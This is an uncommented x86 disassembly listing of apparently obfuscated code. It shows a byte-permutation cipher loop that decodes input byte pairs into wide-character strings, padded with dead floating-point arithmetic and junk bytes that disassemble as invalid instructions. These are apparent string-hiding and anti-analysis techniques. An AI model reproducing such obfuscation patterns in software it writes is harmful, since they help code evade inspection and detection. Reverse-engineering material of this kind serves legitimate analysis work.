mov byte [ebp - 0x3317], al
movzx ecx, byte [ebp - 0x3298]
movzx edx, byte [ebp + ecx - 0x6578]
movzx eax, byte [ebp - 0x32c0]
add eax, edx
mov byte [ebp - 0x32c0], al
mov cl, byte [ebp - 0x3298]
add cl, 1
mov byte [ebp - 0x3298], cl
movzx edx, byte [ebp - 0x32c0]
movzx eax, byte [ebp - 0x32f4]
mov cl, byte [ebp + edx - 0x6578]
mov byte [ebp + eax - 0x6578], cl
movss xmm0, dword [0xa6731c]
movss dword [ebp - 0x3d78], xmm0
movss xmm0, dword [0xa671c0]
movss dword [ebp - 0x44e0], xmm0
movss xmm0, dword [0xa67084]
movss dword [ebp - 0x40e0], xmm0
movss xmm0, dword [ebp - 0x3d78]
addss xmm0, dword [ebp - 0x40e0]
movss dword [ebp - 0x3d78], xmm0
movss xmm0, dword [ebp - 0x3d78]
addss xmm0, dword [ebp - 0x40e0]
movss dword [ebp - 0x3d78], xmm0
movss xmm0, dword [ebp - 0x3d78]
mulss xmm0, dword [ebp - 0x40e0]
movss dword [ebp - 0x3d78], xmm0
movss xmm0, dword [ebp - 0x40e0]
comiss xmm0, dword [ebp - 0x3d78]
jbe 0x44d7b7
movss xmm0, dword [ebp - 0x40e0]
divss xmm0, dword [ebp - 0x3d78]
movss dword [ebp - 0x40e0], xmm0
movss xmm0, dword [ebp - 0x44e0]
divss xmm0, dword [ebp - 0x40e0]
movss dword [ebp - 0x44e0], xmm0
movss xmm0, dword [ebp - 0x44e0]
divss xmm0, dword [ebp - 0x40e0]
movss dword [ebp - 0x44e0], xmm0
jmp 0x44d81b
movss xmm0, dword [ebp - 0x40e0]
mulss xmm0, dword [ebp - 0x3d78]
movss dword [ebp - 0x40e0], xmm0
movss xmm0, dword [ebp - 0x3d78]
mulss xmm0, dword [ebp - 0x44e0]
movss dword [ebp - 0x3d78], xmm0
movss xmm0, dword [ebp - 0x3d78]
mulss xmm0, dword [ebp - 0x44e0]
movss dword [ebp - 0x3d78], xmm0
movzx edx, byte [ebp - 0x32c1]
movzx eax, byte [ebp - 0x32c0]
mov cl, byte [ebp + edx - 0x6578]
mov byte [ebp + eax - 0x6578], cl
movzx edx, byte [ebp - 0x3298]
movzx eax, byte [ebp - 0x32c1]
mov cl, byte [ebp + edx - 0x6578]
mov byte [ebp + eax - 0x6578], cl
movzx edx, byte [ebp - 0x3298]
mov al, byte [ebp - 0x3317]
mov byte [ebp + edx - 0x6578], al
movzx ecx, byte [ebp - 0x3317]
movzx edx, byte [ebp + ecx - 0x6578]
movzx eax, byte [ebp - 0x3318]
add eax, edx
mov byte [ebp - 0x3318], al
movzx ecx, byte [ebp - 0x3319]
movzx edx, byte [ebp - 0x32c0]
movzx eax, byte [ebp + edx - 0x6578]
movzx edx, byte [ebp - 0x3298]
movzx edx, byte [ebp + edx - 0x6578]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x6578]
xor ecx, eax
movzx edx, byte [ebp - 0x32c1]
movzx eax, byte [ebp + edx - 0x6578]
movzx edx, byte [ebp - 0x32f4]
movzx edx, byte [ebp + edx - 0x6578]
add eax, edx
movzx edx, byte [ebp - 0x3318]
movzx edx, byte [ebp + edx - 0x6578]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x6578]
movzx edx, byte [ebp + eax - 0x6578]
xor ecx, edx
mov byte [ebp - 0x32c1], cl
mov al, byte [ebp - 0x3319]
mov byte [ebp - 0x32f4], al
mov cl, byte [ebp - 0x32c1]
mov byte [ebp - 0x3398], cl
cmp dword [ebp - 0x33e4], 0
jle 0x44d921
movsx dx, byte [ebp - 0x3398]
mov eax, dword [ebp - 0x33e4]
mov word [ebp + eax*2 - 0x72], dx
jmp 0x44d0d3
mov ecx, dword [ebp - 0x390c]
add ecx, 1
mov dword [ebp - 0x390c], ecx
mov edx, dword [ebp - 0x33e4]
add edx, 1
mov dword [ebp - 0x33e4], edx
mov eax, dword [ebp - 0x390c]
add eax, 1
mov dword [ebp - 0x390c], eax
mov ecx, dword [ebp - 0x33e4]
shl ecx, 1
mov dword [ebp - 0x3e80], ecx
mov edx, dword [ebp - 0x3e84]
add edx, dword [ebp - 0x3e80]
movzx eax, byte [edx]
mov dword [ebp - 0x3d74], eax
mov dword [ebp - 0x3e00], 0xdf
mov ecx, dword [ebp - 0x33e4]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3e88], edx
mov eax, dword [ebp - 0x3e84]
add eax, dword [ebp - 0x3e88]
movzx ecx, byte [eax]
mov dword [ebp - 0x3dfc], ecx
mov dword [ebp - 0x3df8], 0x81
mov edx, dword [ebp - 0x3d74]
sub edx, dword [ebp - 0x3e00]
mov dword [ebp - 0x3df4], edx
mov eax, dword [ebp - 0x3dfc]
sub eax, dword [ebp - 0x3df8]
mov dword [ebp - 0x3dec], eax
mov ecx, dword [ebp - 0x3df4]
shl ecx, 4
mov dword [ebp - 0x3e8c], ecx
mov edx, dword [ebp - 0x3dec]
mov dword [ebp - 0x3e90], edx
mov eax, dword [ebp - 0x3e8c]
or eax, dword [ebp - 0x3e90]
mov dword [ebp - 0x3e94], eax
mov cl, byte [ebp - 0x3e94]
mov byte [ebp - 0x3319], cl
movzx edx, byte [ebp - 0x32f4]
mov al, byte [ebp + edx - 0x6578]
mov byte [ebp - 0x3317], al
movzx ecx, byte [ebp - 0x3298]
movzx edx, byte [ebp + ecx - 0x6578]
movzx eax, byte [ebp - 0x32c0]
add eax, edx
mov byte [ebp - 0x32c0], al
mov cl, byte [ebp - 0x3298]
add cl, 1
mov byte [ebp - 0x3298], cl
movzx edx, byte [ebp - 0x32c0]
movzx eax, byte [ebp - 0x32f4]
mov cl, byte [ebp + edx - 0x6578]
mov byte [ebp + eax - 0x6578], cl
movzx edx, byte [ebp - 0x32c1]
movzx eax, byte [ebp - 0x32c0]
mov cl, byte [ebp + edx - 0x6578]
mov byte [ebp + eax - 0x6578], cl
movzx edx, byte [ebp - 0x3298]
movzx eax, byte [ebp - 0x32c1]
mov cl, byte [ebp + edx - 0x6578]
mov byte [ebp + eax - 0x6578], cl
movzx edx, byte [ebp - 0x3298]
mov al, byte [ebp - 0x3317]
mov byte [ebp + edx - 0x6578], al
movzx ecx, byte [ebp - 0x3317]
movzx edx, byte [ebp + ecx - 0x6578]
movzx eax, byte [ebp - 0x3318]
add eax, edx
mov byte [ebp - 0x3318], al
movzx ecx, byte [ebp - 0x3319]
movzx edx, byte [ebp - 0x32c0]
movzx eax, byte [ebp + edx - 0x6578]
movzx edx, byte [ebp - 0x3298]
movzx edx, byte [ebp + edx - 0x6578]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x6578]
xor ecx, eax
movzx edx, byte [ebp - 0x32c1]
movzx eax, byte [ebp + edx - 0x6578]
movzx edx, byte [ebp - 0x32f4]
movzx edx, byte [ebp + edx - 0x6578]
add eax, edx
movzx edx, byte [ebp - 0x3318]
movzx edx, byte [ebp + edx - 0x6578]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x6578]
movzx edx, byte [ebp + eax - 0x6578]
xor ecx, edx
mov byte [ebp - 0x32c1], cl
mov al, byte [ebp - 0x3319]
mov byte [ebp - 0x32f4], al
mov cl, byte [ebp - 0x32c1]
mov byte [ebp - 0x3398], cl
cmp dword [ebp - 0x33e4], 0
jle 0x44db8b
movsx dx, byte [ebp - 0x3398]
mov eax, dword [ebp - 0x33e4]
mov word [ebp + eax*2 - 0x72], dx
mov ecx, dword [ebp - 0x33e4]
add ecx, 1
mov dword [ebp - 0x33e4], ecx
mov edx, dword [ebp - 0x390c]
add edx, 1
mov dword [ebp - 0x390c], edx
mov eax, dword [ebp - 0x33e4]
shl eax, 1
mov dword [ebp - 0x3e80], eax
movsd xmm0, qword [0xa66d78]
movsd qword [ebp - 0x46b4], xmm0
movsd xmm0, qword [0xa66bd0]
movsd qword [ebp - 0x4564], xmm0
movsd xmm0, qword [0xa66a48]
movsd qword [ebp - 0x4b84], xmm0
movsd xmm0, qword [0xa667c0]
movsd qword [ebp - 0x4a34], xmm0
movsd xmm0, qword [ebp - 0x4564]
subsd xmm0, qword [ebp - 0x4a34]
movsd qword [ebp - 0x4564], xmm0
movsd xmm0, qword [ebp - 0x46b4]
addsd xmm0, qword [ebp - 0x4a34]
movsd qword [ebp - 0x46b4], xmm0
movsd xmm0, qword [ebp - 0x4564]
addsd xmm0, qword [ebp - 0x4a34]
movsd qword [ebp - 0x4564], xmm0
movsd xmm0, qword [ebp - 0x4564]
addsd xmm0, qword [ebp - 0x4a34]
movsd qword [ebp - 0x4564], xmm0
movsd xmm0, qword [ebp - 0x46b4]
comisd xmm0, xmmword [ebp - 0x4a34]
jbe 0x44dce0
movsd xmm0, qword [ebp - 0x46b4]
addsd xmm0, qword [ebp - 0x4564]
movsd qword [ebp - 0x46b4], xmm0
movsd xmm0, qword [ebp - 0x4564]
addsd xmm0, qword [ebp - 0x4b84]
movsd qword [ebp - 0x4564], xmm0
movsd xmm0, qword [ebp - 0x46b4]
subsd xmm0, qword [ebp - 0x4564]
movsd qword [ebp - 0x46b4], xmm0
movsd xmm0, qword [ebp - 0x4a34]
addsd xmm0, qword [ebp - 0x46b4]
movsd qword [ebp - 0x4a34], xmm0
mov ecx, dword [ebp - 0x3e84]
add ecx, dword [ebp - 0x3e80]
movzx edx, byte [ecx]
mov dword [ebp - 0x3d74], edx
jmp 0x44dd40
movsd xmm0, qword [ebp - 0x4b84]
mulsd xmm0, qword [ebp - 0x46b4]
movsd qword [ebp - 0x4b84], xmm0
movsd xmm0, qword [ebp - 0x4b84]
subsd xmm0, qword [ebp - 0x46b4]
movsd qword [ebp - 0x4b84], xmm0
movsd xmm0, qword [ebp - 0x4564]
divsd xmm0, qword [ebp - 0x4a34]
movsd qword [ebp - 0x4564], xmm0
movsd xmm0, qword [ebp - 0x4b84]
mulsd xmm0, qword [ebp - 0x46b4]
movsd qword [ebp - 0x4b84], xmm0
mov dword [ebp - 0x3e00], 0xdf
movsd xmm0, qword [0xa66d90]
movsd qword [ebp - 0x4a3c], xmm0
movsd xmm0, qword [0xa66b50]
movsd qword [ebp - 0x458c], xmm0
movsd xmm0, qword [0xa668c0]
movsd qword [ebp - 0x4948], xmm0
movsd xmm0, qword [ebp - 0x458c]
mulsd xmm0, qword [ebp - 0x4948]
movsd qword [ebp - 0x458c], xmm0
movsd xmm0, qword [ebp - 0x458c]
mulsd xmm0, qword [ebp - 0x4948]
movsd qword [ebp - 0x458c], xmm0
movsd xmm0, qword [ebp - 0x458c]
subsd xmm0, qword [ebp - 0x4948]
movsd qword [ebp - 0x458c], xmm0
movsd xmm0, qword [ebp - 0x458c]
comisd xmm0, xmmword [ebp - 0x4948]
jbe 0x44de2e
movsd xmm0, qword [ebp - 0x4a3c]
addsd xmm0, qword [ebp - 0x458c]
movsd qword [ebp - 0x4a3c], xmm0
movsd xmm0, qword [ebp - 0x4948]
addsd xmm0, qword [ebp - 0x4a3c]
movsd qword [ebp - 0x4948], xmm0
movsd xmm0, qword [ebp - 0x4a3c]
addsd xmm0, qword [ebp - 0x458c]
movsd qword [ebp - 0x4a3c], xmm0
mov eax, dword [ebp - 0x33e4]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3e88], ecx
jmp 0x44de76
movsd xmm0, qword [ebp - 0x4a3c]
mulsd xmm0, qword [ebp - 0x458c]
movsd qword [ebp - 0x4a3c], xmm0
movsd xmm0, qword [ebp - 0x4948]
subsd xmm0, qword [ebp - 0x4a3c]
movsd qword [ebp - 0x4948], xmm0
movsd xmm0, qword [ebp - 0x458c]
mulsd xmm0, qword [ebp - 0x4948]
movsd qword [ebp - 0x458c], xmm0
mov edx, dword [ebp - 0x3e84]
add edx, dword [ebp - 0x3e88]
movzx eax, byte [edx]
mov dword [ebp - 0x3dfc], eax
mov dword [ebp - 0x3df8], 0x81
mov ecx, dword [ebp - 0x3d74]
sub ecx, dword [ebp - 0x3e00]
mov dword [ebp - 0x3df4], ecx
mov edx, dword [ebp - 0x3dfc]
sub edx, dword [ebp - 0x3df8]
mov dword [ebp - 0x3dec], edx
mov eax, dword [ebp - 0x3df4]
shl eax, 4
mov dword [ebp - 0x3e8c], eax
mov ecx, dword [ebp - 0x3dec]
mov dword [ebp - 0x3e90], ecx
mov edx, dword [ebp - 0x3e8c]
or edx, dword [ebp - 0x3e90]
mov dword [ebp - 0x3e94], edx
mov al, byte [ebp - 0x3e94]
mov byte [ebp - 0x3319], al
movzx ecx, byte [ebp - 0x32f4]
mov dl, byte [ebp + ecx - 0x6578]
mov byte [ebp - 0x3317], dl
movzx eax, byte [ebp - 0x3298]
movzx ecx, byte [ebp + eax - 0x6578]
movzx edx, byte [ebp - 0x32c0]
add edx, ecx
mov byte [ebp - 0x32c0], dl
mov al, byte [ebp - 0x3298]
add al, 1
mov byte [ebp - 0x3298], al
movzx ecx, byte [ebp - 0x32c0]
movzx edx, byte [ebp - 0x32f4]
mov al, byte [ebp + ecx - 0x6578]
mov byte [ebp + edx - 0x6578], al
movzx ecx, byte [ebp - 0x32c1]
movzx edx, byte [ebp - 0x32c0]
mov al, byte [ebp + ecx - 0x6578]
mov byte [ebp + edx - 0x6578], al
movzx ecx, byte [ebp - 0x3298]
movzx edx, byte [ebp - 0x32c1]
mov al, byte [ebp + ecx - 0x6578]
mov byte [ebp + edx - 0x6578], al
movzx ecx, byte [ebp - 0x3298]
mov dl, byte [ebp - 0x3317]
mov byte [ebp + ecx - 0x6578], dl
movzx eax, byte [ebp - 0x3317]
movzx ecx, byte [ebp + eax - 0x6578]
movzx edx, byte [ebp - 0x3318]
add edx, ecx
mov byte [ebp - 0x3318], dl
movzx eax, byte [ebp - 0x3319]
movzx ecx, byte [ebp - 0x32c0]
movzx edx, byte [ebp + ecx - 0x6578]
movzx ecx, byte [ebp - 0x3298]
movzx ecx, byte [ebp + ecx - 0x6578]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x6578]
xor eax, edx
movzx ecx, byte [ebp - 0x32c1]
movzx edx, byte [ebp + ecx - 0x6578]
movzx ecx, byte [ebp - 0x32f4]
movzx ecx, byte [ebp + ecx - 0x6578]
add edx, ecx
movzx ecx, byte [ebp - 0x3318]
movzx ecx, byte [ebp + ecx - 0x6578]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x6578]
movzx ecx, byte [ebp + edx - 0x6578]
xor eax, ecx
mov byte [ebp - 0x32c1], al
mov dl, byte [ebp - 0x3319]
mov byte [ebp - 0x32f4], dl
mov al, byte [ebp - 0x32c1]
mov byte [ebp - 0x3398], al
cmp dword [ebp - 0x33e4], 0
jle 0x44e072
movsx cx, byte [ebp - 0x3398]
mov edx, dword [ebp - 0x33e4]
mov word [ebp + edx*2 - 0x72], cx
mov eax, dword [ebp - 0x390c]
add eax, 2
mov dword [ebp - 0x390c], eax
mov ecx, dword [ebp - 0x33e4]
add ecx, 1
mov dword [ebp - 0x4ab8], ecx
jmp 0x44e0a1
mov eax, dword [ebp - 0x4ab8]
cmp eax, dword [ebp - 0x390c]
jge 0x44e301
mov ecx, dword [ebp - 0x33e4]
add ecx, 1
mov dword [ebp - 0x33e4], ecx
mov edx, dword [ebp - 0x33e4]
shl edx, 1
mov dword [ebp - 0x3e80], edx
mov eax, dword [ebp - 0x3e84]
add eax, dword [ebp - 0x3e80]
movzx ecx, byte [eax]
mov dword [ebp - 0x3d74], ecx
mov dword [ebp - 0x3e00], 0xdf
mov edx, dword [ebp - 0x33e4]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3e88], eax
mov ecx, dword [ebp - 0x3e84]
add ecx, dword [ebp - 0x3e88]
movzx edx, byte [ecx]
mov dword [ebp - 0x3dfc], edx
mov dword [ebp - 0x3df8], 0x81
mov eax, dword [ebp - 0x3d74]
sub eax, dword [ebp - 0x3e00]
mov dword [ebp - 0x3df4], eax
mov ecx, dword [ebp - 0x3dfc]
sub ecx, dword [ebp - 0x3df8]
mov dword [ebp - 0x3dec], ecx
mov edx, dword [ebp - 0x3df4]
shl edx, 4
mov dword [ebp - 0x3e8c], edx
mov eax, dword [ebp - 0x3dec]
mov dword [ebp - 0x3e90], eax
mov ecx, dword [ebp - 0x3e8c]
or ecx, dword [ebp - 0x3e90]
mov dword [ebp - 0x3e94], ecx
mov dl, byte [ebp - 0x3e94]
mov byte [ebp - 0x3319], dl
movzx eax, byte [ebp - 0x32f4]
mov cl, byte [ebp + eax - 0x6578]
mov byte [ebp - 0x3317], cl
movzx edx, byte [ebp - 0x3298]
movzx eax, byte [ebp + edx - 0x6578]
movzx ecx, byte [ebp - 0x32c0]
add ecx, eax
mov byte [ebp - 0x32c0], cl
mov dl, byte [ebp - 0x3298]
add dl, 1
mov byte [ebp - 0x3298], dl
movzx eax, byte [ebp - 0x32c0]
movzx ecx, byte [ebp - 0x32f4]
mov dl, byte [ebp + eax - 0x6578]
mov byte [ebp + ecx - 0x6578], dl
movzx eax, byte [ebp - 0x32c1]
movzx ecx, byte [ebp - 0x32c0]
mov dl, byte [ebp + eax - 0x6578]
mov byte [ebp + ecx - 0x6578], dl
movzx eax, byte [ebp - 0x3298]
movzx ecx, byte [ebp - 0x32c1]
mov dl, byte [ebp + eax - 0x6578]
mov byte [ebp + ecx - 0x6578], dl
movzx eax, byte [ebp - 0x3298]
mov cl, byte [ebp - 0x3317]
mov byte [ebp + eax - 0x6578], cl
movzx edx, byte [ebp - 0x3317]
movzx eax, byte [ebp + edx - 0x6578]
movzx ecx, byte [ebp - 0x3318]
add ecx, eax
mov byte [ebp - 0x3318], cl
movzx edx, byte [ebp - 0x3319]
movzx eax, byte [ebp - 0x32c0]
movzx ecx, byte [ebp + eax - 0x6578]
movzx eax, byte [ebp - 0x3298]
movzx eax, byte [ebp + eax - 0x6578]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x6578]
xor edx, ecx
movzx eax, byte [ebp - 0x32c1]
movzx ecx, byte [ebp + eax - 0x6578]
movzx eax, byte [ebp - 0x32f4]
movzx eax, byte [ebp + eax - 0x6578]
add ecx, eax
movzx eax, byte [ebp - 0x3318]
movzx eax, byte [ebp + eax - 0x6578]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x6578]
movzx eax, byte [ebp + ecx - 0x6578]
xor edx, eax
mov byte [ebp - 0x32c1], dl
mov cl, byte [ebp - 0x3319]
mov byte [ebp - 0x32f4], cl
mov dl, byte [ebp - 0x32c1]
mov byte [ebp - 0x3398], dl
cmp dword [ebp - 0x33e4], 0
jle 0x44e2fc
mov edx, dword [ebp - 0x390c]
add edx, 1
mov dword [ebp - 0x390c], edx
mov eax, dword [ebp - 0x33e4]
add eax, 1
mov dword [ebp - 0x33e4], eax
mov ecx, dword [ebp - 0x390c]
add ecx, 1
mov dword [ebp - 0x390c], ecx
mov edx, dword [ebp - 0x33e4]
shl edx, 1
mov dword [ebp - 0x3e80], edx
mov eax, dword [ebp - 0x3e84]
add eax, dword [ebp - 0x3e80]
movzx ecx, byte [eax]
mov dword [ebp - 0x3d74], ecx
mov dword [ebp - 0x3e00], 0xdf
mov edx, dword [ebp - 0x33e4]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3e88], eax
mov ecx, dword [ebp - 0x3e84]
add ecx, dword [ebp - 0x3e88]
movzx edx, byte [ecx]
mov dword [ebp - 0x3dfc], edx
mov dword [ebp - 0x3df8], 0x81
mov eax, dword [ebp - 0x3d74]
sub eax, dword [ebp - 0x3e00]
mov dword [ebp - 0x3df4], eax
mov ecx, dword [ebp - 0x3dfc]
sub ecx, dword [ebp - 0x3df8]
mov dword [ebp - 0x3dec], ecx
mov edx, dword [ebp - 0x3df4]
shl edx, 4
mov dword [ebp - 0x3e8c], edx
mov eax, dword [ebp - 0x3dec]
mov dword [ebp - 0x3e90], eax
mov ecx, dword [ebp - 0x3e8c]
or ecx, dword [ebp - 0x3e90]
mov dword [ebp - 0x3e94], ecx
mov dl, byte [ebp - 0x3e94]
mov byte [ebp - 0x3319], dl
movzx eax, byte [ebp - 0x32f4]
mov cl, byte [ebp + eax - 0x6578]
mov byte [ebp - 0x3317], cl
movzx edx, byte [ebp - 0x3298]
movzx eax, byte [ebp + edx - 0x6578]
movzx ecx, byte [ebp - 0x32c0]
add ecx, eax
mov byte [ebp - 0x32c0], cl
mov dl, byte [ebp - 0x3298]
add dl, 1
mov byte [ebp - 0x3298], dl
movzx eax, byte [ebp - 0x32c0]
movzx ecx, byte [ebp - 0x32f4]
mov dl, byte [ebp + eax - 0x6578]
mov byte [ebp + ecx - 0x6578], dl
movzx eax, byte [ebp - 0x32c1]
movzx ecx, byte [ebp - 0x32c0]
mov dl, byte [ebp + eax - 0x6578]
mov byte [ebp + ecx - 0x6578], dl
movzx eax, byte [ebp - 0x3298]
movzx ecx, byte [ebp - 0x32c1]
mov dl, byte [ebp + eax - 0x6578]
mov byte [ebp + ecx - 0x6578], dl
movzx eax, byte [ebp - 0x3298]
mov cl, byte [ebp - 0x3317]
mov byte [ebp + eax - 0x6578], cl
movzx edx, byte [ebp - 0x3317]
movzx eax, byte [ebp + edx - 0x6578]
movzx ecx, byte [ebp - 0x3318]
add ecx, eax
mov byte [ebp - 0x3318], cl
movzx edx, byte [ebp - 0x3319]
movzx eax, byte [ebp - 0x32c0]
movzx ecx, byte [ebp + eax - 0x6578]
movzx eax, byte [ebp - 0x3298]
movzx eax, byte [ebp + eax - 0x6578]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x6578]
xor edx, ecx
movzx eax, byte [ebp - 0x32c1]
movzx ecx, byte [ebp + eax - 0x6578]
movzx eax, byte [ebp - 0x32f4]
movzx eax, byte [ebp + eax - 0x6578]
add ecx, eax
movzx eax, byte [ebp - 0x3318]
movzx eax, byte [ebp + eax - 0x6578]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x6578]
movzx eax, byte [ebp + ecx - 0x6578]
xor edx, eax
mov byte [ebp - 0x32c1], dl
mov cl, byte [ebp - 0x3319]
mov byte [ebp - 0x32f4], cl
mov dl, byte [ebp - 0x32c1]
mov byte [ebp - 0x3398], dl
cmp dword [ebp - 0x33e4], 0
jle 0x44e568
mov dword [ebp - 0x49fc], 0
jmp 0x44e5b0
mov eax, dword [ebp - 0x49fc]
add eax, 1
mov dword [ebp - 0x49fc], eax
cmp dword [ebp - 0x49fc], 7
jge 0x44e5e6
mov ecx, dword [ebp - 0x49fc]
shl ecx, 1
mov dword [ebp - 0x545c], ecx
cmp dword [ebp - 0x545c], 0xe
jae 0x44e5d2
jmp 0x44e5d7
call fcn.009ea777
xor edx, edx
mov eax, dword [ebp - 0x545c]
mov word [ebp + eax - 0x70], dx
jmp 0x44e5a1
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x4738], ecx
mov edx, dword [ebp - 0x4738]
mov dword [ebp - 0x5458], edx
mov eax, dword [ebp - 0x4738]
mov cx, word [eax]
mov word [ebp - 0x4ba8], cx
add dword [ebp - 0x4738], 2
cmp word [ebp - 0x4ba8], 0
jne 0x44e5fb
mov edx, dword [ebp - 0x4738]
sub edx, dword [ebp - 0x5458]
mov eax, dword [ebp - 0x5458]
mov dword [ebp - 0x62ec], eax
mov dword [ebp - 0x62e8], edx
lea ecx, [ebp - 0x978]
add ecx, 0xfffffffe
mov dword [ebp - 0x4a00], ecx
mov edx, dword [ebp - 0x4a00]
mov ax, word [edx + 2]
mov word [ebp - 0x4ba6], ax
add dword [ebp - 0x4a00], 2
cmp word [ebp - 0x4ba6], 0
jne 0x44e649
mov edi, dword [ebp - 0x4a00]
mov esi, dword [ebp - 0x62ec]
mov edx, dword [ebp - 0x62e8]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x264]
mov dword [ebp - 0x4734], eax
mov ecx, dword [ebp - 0x4734]
mov dword [ebp - 0x5454], ecx
mov edx, dword [ebp - 0x4734]
mov ax, word [edx]
mov word [ebp - 0x4b62], ax
add dword [ebp - 0x4734], 2
cmp word [ebp - 0x4b62], 0
jne 0x44e6a3
mov ecx, dword [ebp - 0x4734]
sub ecx, dword [ebp - 0x5454]
mov edx, dword [ebp - 0x5454]
mov dword [ebp - 0x62e4], edx
mov dword [ebp - 0x62e0], ecx
lea eax, [ebp - 0x978]
add eax, 0xfffffffe
mov dword [ebp - 0x4a04], eax
mov ecx, dword [ebp - 0x4a04]
mov dx, word [ecx + 2]
mov word [ebp - 0x4b60], dx
add dword [ebp - 0x4a04], 2
cmp word [ebp - 0x4b60], 0
jne 0x44e6f1
mov edi, dword [ebp - 0x4a04]
mov esi, dword [ebp - 0x62e4]
mov eax, dword [ebp - 0x62e0]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x31c0], 0
mov dword [ebp - 0x31c4], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x481c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x46bc], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x46bc], xmm0
jmp 0x44e782
movsd xmm0, qword [ebp - 0x46bc]
addsd xmm0, qword [0xa66358]
movsd qword [ebp - 0x46bc], xmm0
movsd xmm0, qword [0xa66748]
comisd xmm0, xmmword [ebp - 0x46bc]
jbe 0x44e833
movsd xmm0, qword [0xa666a8]
mulsd xmm0, qword [ebp - 0x46bc]
mulsd xmm0, qword [ebp - 0x46bc]
movsd xmm1, qword [ebp - 0x46bc]
mulsd xmm1, qword [ebp - 0x46bc]
subsd xmm0, xmm1
movsd xmm1, qword [0xa66378]
mulsd xmm1, qword [ebp - 0x46bc]
mulsd xmm1, qword [ebp - 0x46bc]
addsd xmm1, qword [0xa66470]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x481c]
movsd qword [ebp - 0x481c], xmm0
movsd xmm0, qword [ebp - 0x481c]
comisd xmm0, xmmword [0xa66528]
jbe 0x44e82e
movsd xmm0, qword [0xa66320]
mulsd xmm0, qword [ebp - 0x46bc]
movsd xmm1, qword [ebp - 0x481c]
subsd xmm1, xmm0
movsd qword [ebp - 0x481c], xmm1
jmp 0x44e76a
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x481c]
jbe 0x44e882
pop ebp
sbb bl, byte [esi + 0x20]
pushal
daa
sbb ah, byte fs:[edi + 0x1a]
daa
pop esi
and bl, byte [esp + 0x68]
and ch, byte [ecx + 0x20]
popal
and eax, 0x2860255e
and dword fs:[eax + 0x22], ebp
pop ebx
sbb ebp, dword [ecx]
bound esi, qword [edx]
push ecx
sub bh, byte [ebx]
ja 0x44e8a4
and eax, dword [ebp + 0x61]
push ecx
sub byte [edi + 0x61], al
inc edi
and al, byte [eax + 0x54]
push esp
jns 0x44e8d9
sub esi, dword [edx]
jp 0x44e8ac
dec esi
and al, 0xe9
jne 0x44e89f
add byte [eax], al
mov dword [ebp - 0x31c0], 0x44e840
mov dword [ebp - 0x31c4], 0x44e860
mov ecx, dword [ebp - 0x31c0]
mov dword [ebp - 0x3918], ecx
mov edx, dword [ebp - 0x31c4]
mov dword [ebp - 0x62dc], edx
mov byte [ebp - 0x401d], 0x21
mov dword [ebp - 0x3910], 0
jmp 0x44e8d0
invalid
cmp al, 0xce
invalid
invalid
mov eax, dword [ebp - 0x3910]
add eax, 1
mov dword [ebp - 0x3910], eax
cmp dword [ebp - 0x3910], 0x100
jae 0x44e8f1
add byte [ebx + 0x15], dh
mov ecx, dword [ebp - 0x3910]
mov dl, byte [ebp - 0x3910]
mov byte [ebp + ecx - 0x58a0], dl
jmp 0x44e8c1
mov dword [ebp - 0x44dc], 0
mov byte [ebp - 0x335a], 0
mov dword [ebp - 0x3910], 0xff
jmp 0x44e91d
cmp dword [ebp - 0x3910], 0
jbe 0x44eb8d
mov dword [ebp - 0x4abc], 0
mov dword [ebp - 0x4970], 1
mov ecx, dword [ebp - 0x4970]
cmp ecx, dword [ebp - 0x3910]
jae 0x44e95e
mov edx, dword [ebp - 0x4970]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x4970], eax
jmp 0x44e93e
mov ecx, dword [ebp - 0x44dc]
mov dword [ebp - 0x5450], ecx
cmp dword [ebp - 0x5450], 3
ja 0x44ea3f
mov ecx, 1
shl ecx, 0
mov dl, byte [ebp + ecx - 0x58a0]
mov byte [ebp - 0x326c], dl
mov eax, 1
imul ecx, eax, 3
mov dl, byte [ebp + ecx - 0x58a0]
mov byte [ebp - 0x3282], dl
mov eax, 1
imul ecx, eax, 5
mov dl, byte [ebp + ecx - 0x58a0]
mov byte [ebp - 0x32dc], dl
mov eax, 1
imul ecx, eax, 7
mov dl, byte [ebp + ecx - 0x58a0]
mov byte [ebp - 0x3283], dl
movzx eax, byte [ebp - 0x335a]
mov cl, byte [ebp + eax - 0x58a0]
mov byte [ebp - 0x3299], cl
mov dword [ebp - 0x544c], 0x20
cmp dword [ebp - 0x544c], 2
jle 0x4507a3
mov edx, dword [ebp - 0x544c]
and edx, 1
jne 0x4507a3
mov dword [ebp - 0x48e8], 0
jmp 0x4507be